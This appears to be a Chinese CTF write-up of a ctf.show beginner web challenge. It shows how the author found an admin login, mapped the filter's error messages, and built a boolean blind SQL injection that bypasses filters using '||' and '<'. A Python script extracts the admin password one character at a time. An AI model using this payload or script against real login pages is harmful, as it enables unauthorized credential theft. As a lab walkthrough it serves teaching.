萌新赛-萌新记忆

admin 2022年1月5日23:06:11评论89 views字数 995阅读3分19秒阅读模式

>

>

萌新赛-萌新记忆

yuchoxuuan

   打开之后发现主页很漂亮,不过基本上就是个静态页,于是怀疑flag在故事里,于是读了半天小故事。。。。。。。

后来在L1ch师傅的提醒下,扫了一下后台,发现有admin页面,右键-源码,
萌新赛-萌新记忆
找到了密码验证的地方。。。
萌新赛-萌新记忆
然后通过构造不同的pl发现他有三种报错。
1.密码错误,说明用户名是对的
2.用户名/密码错误 说明用户名不对,密码也不对
3.我报警了-说明注入被过滤了。。
试了半天发现 and or ^ 等一大堆东西被过滤了,而且,只要用户名超过20位铁报用户名出错
1 ‘ 可以用,可以注入;
2 经反复试验得知,# -- 都不能用,所以必须要想辙闭合引号
3 经测试 || 可以用,< 可以用。

根据变量名 p u 猜测在数据库里他们也叫这名,
萌新赛-萌新记忆
没报错,证明猜的比较准确

于是有了思路 pl: u=' || ? <' y
如果只出现密码错误,说明找到了该用户,?<'y 表示的逻辑成立
如果出现用户名密码错误,说明连用户都没找到,表示 ?<'y 逻辑不成立

之后做了一个小试验
萌新赛-萌新记忆
id<2 成立 说明库里面就一条数据,admin
于是可以采取如下方法盲注。

def post(url,params={}):return requests.post(url, data=params).text
url= 'https://b0a4f765-4f2d-497e-a717-f955e7aaf940.chall.ctf.show/admin/checklogin.php'
p=''
ab='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
def chk(p=1,c=''):
    key ={'u':"'||substr(p,%d,1)<'%s"%(p,c)}
    return not '用户名' in post(url,key)
pws=''
for i in range(len(pws)+1,80): # 实在懒得去搞他的位数了,直接给了80,反正足够
    print('\n%30s |%2d|'%(pws,i),end='')
    for j in range(len(ab)):
        print(ab[j],end='')
        if(chk(i,ab[j])):
            pws+=ab[j-1]
            break

又是漫长的等待。。
萌新赛-萌新记忆
开始觉得群主很无聊,搞了个最cpt。。。的密码,后来经大佬提醒才知道,是
吃葡萄不吐葡萄皮
顿时,觉得群主更无聊了。。。。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:06:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   萌新赛-萌新记忆http://cn-sec.com/archives/719905.html

发表评论

匿名网友 填写信息